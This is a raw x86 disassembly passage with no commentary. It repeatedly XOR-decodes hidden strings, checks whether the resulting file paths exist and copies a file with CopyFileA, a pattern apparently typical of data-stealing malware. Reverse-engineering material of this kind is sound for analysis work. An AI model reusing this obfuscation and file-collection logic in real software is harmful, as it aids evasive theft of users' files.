movups xmmword [ebp - 0x9bf], xmm0
mov word [ebp - 0x99f], 0x606a
movaps xmm0, xmmword [0x544b50]
movups xmmword [ebp - 0x9af], xmm0
mov byte [ebp - 0x99d], 0x2d
movaps xmm0, xmmword [0x543030]
movups xmmword [ebp - 0x99c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x9bf], al
inc ecx
cmp ecx, 0x2a
jb 0x453c20
lea eax, [ebp - 0x9bf]
mov dword [0x5585cc], ecx
push eax
lea ecx, [ebp - 0x1058]
mov byte [ebp - 0x995], 0
call fcn.00402a50
lea ecx, [ebp - 0x1058]
mov byte [ebp - 4], 0x91
call fcn.00402af0
push eax
lea ecx, [ebp - 0x16d0]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x92
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x5ea], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5ea], al
inc ecx
cmp ecx, 7
jb 0x453c81
lea eax, [ebp - 0x5ea]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1040]
mov byte [ebp - 0x5e3], 0
call fcn.00402a50
lea ecx, [ebp - 0x1040]
mov byte [ebp - 4], 0x93
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xc1c]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1040]
call fcn.004029b0
lea ecx, [ebp - 0x16d0]
call fcn.004029b0
lea ecx, [ebp - 0x1058]
mov byte [ebp - 4], 0x97
call fcn.004029b0
lea ecx, [ebp - 0xc1c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x453d5b
sub esp, 0x18
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x974]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0x98
lea eax, [ebp - 0xc1c]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0x97
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x453d5b
mov byte [ebp - 0xd], 1
jmp 0x453d6d
push 0
mov dl, 1
lea ecx, [ebp - 0x974]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xc1c]
mov byte [ebp - 4], 0x90
call fcn.004029b0
movaps xmm0, xmmword [0x543470]
xor ecx, ecx
mov byte [ebp - 0x48e], 0xb7
movups xmmword [ebp - 0x48d], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x48e], al
inc ecx
cmp ecx, 8
jb 0x453d93
lea eax, [ebp - 0x48e]
mov dword [0x5585d4], ecx
push eax
lea ecx, [ebp - 0x1070]
mov byte [ebp - 0x486], 0
call fcn.00402a50
lea ecx, [ebp - 0x1070]
mov byte [ebp - 4], 0x99
call fcn.00402af0
push eax
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x95c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1070]
mov byte [ebp - 4], 0x9b
call fcn.004029b0
lea ecx, [ebp - 0x95c]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x453f9f
movaps xmm0, xmmword [0x545cc0]
xor ecx, ecx
movups xmmword [ebp - 0x3e7], xmm0
mov dword [ebp - 0x3d7], 0x9f8f938f
xorps xmm0, xmm0
mov word [ebp - 0x3d3], 0x6598
movq qword [ebp - 0x3d1], xmm0
mov byte [ebp - 0x3c9], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3e7], al
inc ecx
cmp ecx, 0x16
jb 0x453e43
lea eax, [ebp - 0x3e7]
mov dword [0x558524], ecx
push eax
lea ecx, [ebp - 0x10a0]
mov byte [ebp - 0x3d1], 0
call fcn.00402a50
lea ecx, [ebp - 0x10a0]
mov byte [ebp - 4], 0x9c
call fcn.00402af0
push eax
lea ecx, [ebp - 0x16e8]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x9d
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x5da], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5da], al
inc ecx
cmp ecx, 7
jb 0x453ea4
lea eax, [ebp - 0x5da]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1088]
mov byte [ebp - 0x5d3], 0
call fcn.00402a50
lea ecx, [ebp - 0x1088]
mov byte [ebp - 4], 0x9e
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xc34]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1088]
call fcn.004029b0
lea ecx, [ebp - 0x16e8]
call fcn.004029b0
lea ecx, [ebp - 0x10a0]
mov byte [ebp - 4], 0xa2
call fcn.004029b0
lea ecx, [ebp - 0xc34]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x453f7e
sub esp, 0x18
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x95c]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0xa3
lea eax, [ebp - 0xc34]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xa2
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x453f7e
mov byte [ebp - 0xd], 1
jmp 0x453f90
push 0
mov dl, 1
lea ecx, [ebp - 0x95c]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xc34]
mov byte [ebp - 4], 0x9b
call fcn.004029b0
xorps xmm0, xmm0
mov dword [ebp - 0x88], 0xbfaea5b7
movq qword [ebp - 0x84], xmm0
xor ecx, ecx
mov byte [ebp - 0x7c], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 4
jb 0x453fc0
lea eax, [ebp - 0x88]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x10b8]
mov byte [ebp - 0x84], 0
call fcn.00402a50
lea ecx, [ebp - 0x10b8]
mov byte [ebp - 4], 0xa4
call fcn.00402af0
push eax
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x944]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x10b8]
mov byte [ebp - 4], 0xa6
call fcn.004029b0
lea ecx, [ebp - 0x944]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x4541b0
movaps xmm0, xmmword [0x544180]
xor ecx, ecx
mov word [ebp - 0x444], 0xa5b7
movups xmmword [ebp - 0x442], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x444], al
inc ecx
cmp ecx, 9
jb 0x454054
lea eax, [ebp - 0x444]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x10e8]
mov byte [ebp - 0x43b], 0
call fcn.00402a50
lea ecx, [ebp - 0x10e8]
mov byte [ebp - 4], 0xa7
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1700]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0xa8
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x5ca], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5ca], al
inc ecx
cmp ecx, 7
jb 0x4540b5
lea eax, [ebp - 0x5ca]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x10d0]
mov byte [ebp - 0x5c3], 0
call fcn.00402a50
lea ecx, [ebp - 0x10d0]
mov byte [ebp - 4], 0xa9
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xc4c]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x10d0]
call fcn.004029b0
lea ecx, [ebp - 0x1700]
call fcn.004029b0
lea ecx, [ebp - 0x10e8]
mov byte [ebp - 4], 0xad
call fcn.004029b0
lea ecx, [ebp - 0xc4c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x45418f
sub esp, 0x18
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x944]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0xae
lea eax, [ebp - 0xc4c]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xad
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x45418f
mov byte [ebp - 0xd], 1
jmp 0x4541a1
push 0
mov dl, 1
lea ecx, [ebp - 0x944]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xc4c]
mov byte [ebp - 4], 0xa6
call fcn.004029b0
movaps xmm0, xmmword [0x543e60]
xor ecx, ecx
movups xmmword [ebp - 0x5ba], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5ba], al
inc ecx
cmp ecx, 7
jb 0x4541c0
lea eax, [ebp - 0x5ba]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1100]
mov byte [ebp - 0x5b3], 0
call fcn.00402a50
lea ecx, [ebp - 0x1100]
mov byte [ebp - 4], 0xaf
call fcn.00402af0
push eax
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x164]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1100]
mov byte [ebp - 4], 0xb1
call fcn.004029b0
lea ecx, [ebp - 0x164]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x454e18
movaps xmm0, xmmword [0x543e60]
xor ecx, ecx
mov byte [ebp - 0xe], 0
movups xmmword [ebp - 0x5aa], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5aa], al
inc ecx
cmp ecx, 7
jb 0x454250
lea eax, [ebp - 0x5aa]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1130]
mov byte [ebp - 0x5a3], 0
call fcn.00402a50
lea ecx, [ebp - 0x1130]
mov byte [ebp - 4], 0xb2
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1718]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0xb3
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x59a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x59a], al
inc ecx
cmp ecx, 7
jb 0x4542b1
lea eax, [ebp - 0x59a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1118]
mov byte [ebp - 0x593], 0
call fcn.00402a50
lea ecx, [ebp - 0x1118]
mov byte [ebp - 4], 0xb4
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0x4d0]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1118]
call fcn.004029b0
lea ecx, [ebp - 0x1718]
call fcn.004029b0
lea ecx, [ebp - 0x1130]
mov byte [ebp - 4], 0xb8
call fcn.004029b0
lea ecx, [ebp - 0x4d0]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x454df7
movaps xmm0, xmmword [0x543e50]
xor ecx, ecx
mov dword [ebp - 0x1ef], 0x8d82a0b7
mov word [ebp - 0x1eb], 0x9c8e
mov byte [ebp - 0x1e9], 0xd1
movups xmmword [ebp - 0x1e8], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1ef], al
inc ecx
cmp ecx, 0xe
jb 0x454373
lea eax, [ebp - 0x1ef]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0x1148]
mov byte [ebp - 0x1e1], 0
call fcn.00402a50
lea ecx, [ebp - 0x1148]
mov byte [ebp - 4], 0xb9
call fcn.00402af0
push eax
lea edx, [ebp - 0x4d0]
lea ecx, [ebp - 0xa84]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1148]
mov byte [ebp - 4], 0xbb
call fcn.004029b0
lea ecx, [ebp - 0xa84]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x454491
movaps xmm0, xmmword [0x543e50]
xor ecx, ecx
mov dword [ebp - 0x1d8], 0x8d82a0b7
mov word [ebp - 0x1d4], 0x9c8e
mov byte [ebp - 0x1d2], 0xd1
movups xmmword [ebp - 0x1d1], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1d8], al
inc ecx
cmp ecx, 0xe
jb 0x454420
lea eax, [ebp - 0x1d8]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0x1160]
mov byte [ebp - 0x1ca], 0
call fcn.00402a50
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x1160]
or ebx, 0x10
mov dword [ebp - 0x18], ebx
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x1730]
call fcn.004838a0
add esp, 4
mov ecx, eax
or ebx, 0x20
push 0
call fcn.00402af0
push eax
call edi
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x454495
mov byte [ebp - 0xf], 0
test bl, 0x20
je 0x4544a8
lea ecx, [ebp - 0x1730]
and ebx, 0xffffffdf
call fcn.004029b0
mov dword [ebp - 4], 0xbb
test bl, 0x10
je 0x4544c2
lea ecx, [ebp - 0x1160]
and ebx, 0xffffffef
call fcn.004029b0
cmp byte [ebp - 0xf], 0
je 0x454596
movaps xmm0, xmmword [0x543e50]
xor ecx, ecx
mov dword [ebp - 0x206], 0x8d82a0b7
mov word [ebp - 0x202], 0x9c8e
mov byte [ebp - 0x200], 0xd1
movups xmmword [ebp - 0x1ff], xmm0
mov byte [ebp - 0x10], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x206], al
inc ecx
cmp ecx, 0xe
jb 0x454500
lea eax, [ebp - 0x206]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0x1178]
mov byte [ebp - 0x1f8], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xbd
lea ecx, [ebp - 0x1178]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
mov ecx, esi
call fcn.004838a0
sub esp, 0x14
mov byte [ebp - 4], 0xbe
lea eax, [ebp - 0xa84]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xbd
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0x1178]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x454596
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x545c40]
xor ecx, ecx
movups xmmword [ebp - 0x704], xmm0
mov byte [ebp - 0x6ec], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6f4], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x704], al
inc ecx
cmp ecx, 0x10
jb 0x4545c0
lea eax, [ebp - 0x704]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0x1190]
mov byte [ebp - 0x6f4], 0
call fcn.00402a50
lea ecx, [ebp - 0x1190]
mov byte [ebp - 4], 0xbf
call fcn.00402af0
push eax
lea edx, [ebp - 0x4d0]
lea ecx, [ebp - 0xa6c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1190]
mov byte [ebp - 4], 0xc1
call fcn.004029b0
lea ecx, [ebp - 0xa6c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x4546d4
movaps xmm0, xmmword [0x545c40]
xor ecx, ecx
movups xmmword [ebp - 0x6eb], xmm0
mov byte [ebp - 0x6d3], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6db], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x6eb], al
inc ecx
cmp ecx, 0x10
jb 0x454660
lea eax, [ebp - 0x6eb]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0x11a8]
mov byte [ebp - 0x6db], 0
call fcn.00402a50
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0x11a8]
or ebx, 0x40
mov dword [ebp - 0x18], ebx
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x1748]
call fcn.004838a0
add esp, 4
mov ecx, eax
or ebx, 0x80
push 0
call fcn.00402af0
push eax
call edi
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x4546d8
mov byte [ebp - 0xf], 0
test bl, bl
jns 0x4546ed
lea ecx, [ebp - 0x1748]
and ebx, 0xffffff7f
call fcn.004029b0
mov dword [ebp - 4], 0xc1
test bl, 0x40
je 0x454707
lea ecx, [ebp - 0x11a8]
and ebx, 0xffffffbf
call fcn.004029b0
cmp byte [ebp - 0xf], 0
je 0x4547d6
movaps xmm0, xmmword [0x545c40]
xor ecx, ecx
movups xmmword [ebp - 0x6b9], xmm0
mov byte [ebp - 0x6a1], 0
xorps xmm0, xmm0
mov byte [ebp - 0x10], 0
movq qword [ebp - 0x6a9], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x6b9], al
inc ecx
cmp ecx, 0x10
jb 0x454740
lea eax, [ebp - 0x6b9]
mov dword [0x5585d8], ecx
push eax
lea ecx, [ebp - 0x11c0]
mov byte [ebp - 0x6a9], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x11c0]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
mov ecx, esi
call fcn.004838a0
sub esp, 0x14
mov byte [ebp - 4], 0xc4
lea eax, [ebp - 0xa6c]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xc3
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0x11c0]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x4547d6
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
xorps xmm0, xmm0
mov dword [ebp - 0x95], 0x829c9fb7
movq qword [ebp - 0x91], xmm0
xor ecx, ecx
mov byte [ebp - 0x89], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x95], al
inc ecx
cmp ecx, 4
jb 0x4547f4
lea eax, [ebp - 0x95]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x11d8]
mov byte [ebp - 0x91], 0
call fcn.00402a50
lea ecx, [ebp - 0x11d8]
mov byte [ebp - 4], 0xc5
call fcn.00402af0
push eax
lea edx, [ebp - 0x4d0]
lea ecx, [ebp - 0xc94]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x11d8]
mov byte [ebp - 4], 0xc7
call fcn.004029b0
lea ecx, [ebp - 0xc94]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x454907
xorps xmm0, xmm0
mov dword [ebp - 0xa2], 0x829c9fb7
movq qword [ebp - 0x9e], xmm0
xor ecx, ecx
mov byte [ebp - 0x96], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xa2], al
inc ecx
cmp ecx, 4
jb 0x454890
lea eax, [ebp - 0xa2]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x11f0]
mov byte [ebp - 0x9e], 0
call fcn.00402a50
mov byte [ebp - 4], 0xc8
lea ecx, [ebp - 0x11f0]
or ebx, 0x100
mov dword [ebp - 0x18], ebx
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x1760]
call fcn.004838a0
add esp, 4
mov ecx, eax
or ebx, 0x200
push 0
call fcn.00402af0
push eax
call edi
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x45490b
mov byte [ebp - 0xf], 0
test ebx, 0x200
je 0x454924
lea ecx, [ebp - 0x1760]
and ebx, 0xfffffdff
call fcn.004029b0
mov dword [ebp - 4], 0xc7
test ebx, 0x100
je 0x454944
lea ecx, [ebp - 0x11f0]
and ebx, 0xfffffeff
call fcn.004029b0
cmp byte [ebp - 0xf], 0
je 0x454a06
xorps xmm0, xmm0
mov dword [ebp - 0xaf], 0x829c9fb7
movq qword [ebp - 0xab], xmm0
xor ecx, ecx
mov byte [ebp - 0xa3], 0
mov byte [ebp - 0x10], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xaf], al
inc ecx
cmp ecx, 4
jb 0x454970
lea eax, [ebp - 0xaf]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x1208]
mov byte [ebp - 0xab], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0x1208]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
mov ecx, esi
call fcn.004838a0
sub esp, 0x14
mov byte [ebp - 4], 0xca
lea eax, [ebp - 0xc94]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xc9
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0x1208]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x454a06
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x543530]
xor ecx, ecx
mov word [ebp - 0x38f], 0x88b7
mov byte [ebp - 0x38d], 0x8c
movups xmmword [ebp - 0x38c], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x38f], al
inc ecx
cmp ecx, 0xa
jb 0x454a30
lea eax, [ebp - 0x38f]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1220]
mov byte [ebp - 0x385], 0
call fcn.00402a50
lea ecx, [ebp - 0x1220]
mov byte [ebp - 4], 0xcb
call fcn.00402af0
push eax
lea edx, [ebp - 0x4d0]
lea ecx, [ebp - 0xc7c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1220]
mov byte [ebp - 4], 0xcd
call fcn.004029b0
lea ecx, [ebp - 0xc7c]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x454b47
movaps xmm0, xmmword [0x543530]
xor ecx, ecx
mov word [ebp - 0x3a2], 0x88b7
mov byte [ebp - 0x3a0], 0x8c
movups xmmword [ebp - 0x39f], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3a2], al
inc ecx
cmp ecx, 0xa
jb 0x454ad0
lea eax, [ebp - 0x3a2]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1238]
mov byte [ebp - 0x398], 0
call fcn.00402a50
mov byte [ebp - 4], 0xce
lea ecx, [ebp - 0x1238]
or ebx, 0x400
mov dword [ebp - 0x18], ebx
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x1778]
call fcn.004838a0
add esp, 4
mov ecx, eax
or ebx, 0x800
push 0
call fcn.00402af0
push eax
call edi
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x454b4b
mov byte [ebp - 0xf], 0
test ebx, 0x800
je 0x454b64
lea ecx, [ebp - 0x1778]
and ebx, 0xfffff7ff
call fcn.004029b0
mov dword [ebp - 4], 0xcd
test ebx, 0x400
je 0x454b84
lea ecx, [ebp - 0x1238]
and ebx, 0xfffffbff
call fcn.004029b0
cmp byte [ebp - 0xf], 0
je 0x454c48
movaps xmm0, xmmword [0x543530]
xor ecx, ecx
mov word [ebp - 0x3b5], 0x88b7
mov byte [ebp - 0x3b3], 0x8c
movups xmmword [ebp - 0x3b2], xmm0
mov byte [ebp - 0x10], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3b5], al
inc ecx
cmp ecx, 0xa
jb 0x454bb2
lea eax, [ebp - 0x3b5]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1250]
mov byte [ebp - 0x3ab], 0
call fcn.00402a50
sub esp, 0x18
mov byte [ebp - 4], 0xcf
lea ecx, [ebp - 0x1250]
mov dword [ebp - 0x14], esp
mov esi, esp
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
mov ecx, esi
call fcn.004838a0
sub esp, 0x14
mov byte [ebp - 4], 0xd0
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 4], 0xcf
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0x1250]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x454c48
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x543bf0]
xor ecx, ecx
mov dword [ebp - 0x29d], 0x80828fb7
mov byte [ebp - 0x299], 0x89
movups xmmword [ebp - 0x298], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x29d], al
inc ecx
cmp ecx, 0xc
jb 0x454c70
lea eax, [ebp - 0x29d]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0x1268]
mov byte [ebp - 0x291], 0
call fcn.00402a50
lea ecx, [ebp - 0x1268]
mov byte [ebp - 4], 0xd1
call fcn.00402af0
push eax
lea edx, [ebp - 0x4d0]
lea ecx, [ebp - 0xc64]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1268]
mov byte [ebp - 4], 0xd3
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xc64]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x454db6
movaps xmm0, xmmword [0x543bf0]
xor ecx, ecx
mov dword [ebp - 0x2b2], 0x80828fb7
mov byte [ebp - 0x2ae], 0x89
movups xmmword [ebp - 0x2ad], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2b2], al
inc ecx
cmp ecx, 0xc
jb 0x454d20
lea eax, [ebp - 0x2b2]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0x1280]
mov byte [ebp - 0x2a6], 0
call fcn.00402a50
lea ecx, [ebp - 0x1280]
mov byte [ebp - 4], 0xd4
call fcn.00402af0
push eax
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x1790]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xc64]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1790]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x1280]
call fcn.004029b0
test esi, esi
je 0x454db6
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0xc64]
call fcn.004029b0
lea ecx, [ebp - 0xc7c]
call fcn.004029b0
lea ecx, [ebp - 0xc94]
call fcn.004029b0
lea ecx, [ebp - 0xa6c]
call fcn.004029b0
lea ecx, [ebp - 0xa84]
mov byte [ebp - 4], 0xb8
call fcn.004029b0
cmp byte [ebp - 0xe], 0
jne 0x454e09
push 0
mov dl, 1
lea ecx, [ebp - 0x164]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0xb1
call fcn.004029b0
xorps xmm0, xmm0
mov dword [ebp - 0xf0], 0x9682b8b7
movq qword [ebp - 0xec], xmm0
xor ecx, ecx
mov byte [ebp - 0xe4], 0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xf0], al
inc ecx
cmp ecx, 4
jb 0x454e40
lea eax, [ebp - 0xf0]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x1298]
mov byte [ebp - 0xec], 0
call fcn.00402a50
lea ecx, [ebp - 0x1298]
mov byte [ebp - 4], 0xd5
call fcn.00402af0
push eax
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x92c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1298]
mov byte [ebp - 4], 0xd7
call fcn.004029b0
lea ecx, [ebp - 0x92c]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x4553a8
xor al, al
mov dword [ebp - 0xbc], 0x968298b7
xorps xmm0, xmm0
mov byte [ebp - 0xe], al
movq qword [ebp - 0xb8], xmm0
xor ecx, ecx
mov byte [ebp - 0xb0], al
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xbc], al
inc ecx
cmp ecx, 4
jb 0x454ee0
lea eax, [ebp - 0xbc]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x12c8]
mov byte [ebp - 0xb8], 0
call fcn.00402a50
lea ecx, [ebp - 0x12c8]
mov byte [ebp - 4], 0xd8
call fcn.00402af0
push eax
lea ecx, [ebp - 0x17a8]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0xd9
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x58a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x58a], al
inc ecx
cmp ecx, 7
jb 0x454f41
lea eax, [ebp - 0x58a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x12b0]
mov byte [ebp - 0x583], 0
call fcn.00402a50
lea ecx, [ebp - 0x12b0]
mov byte [ebp - 4], 0xda
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0x1358]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
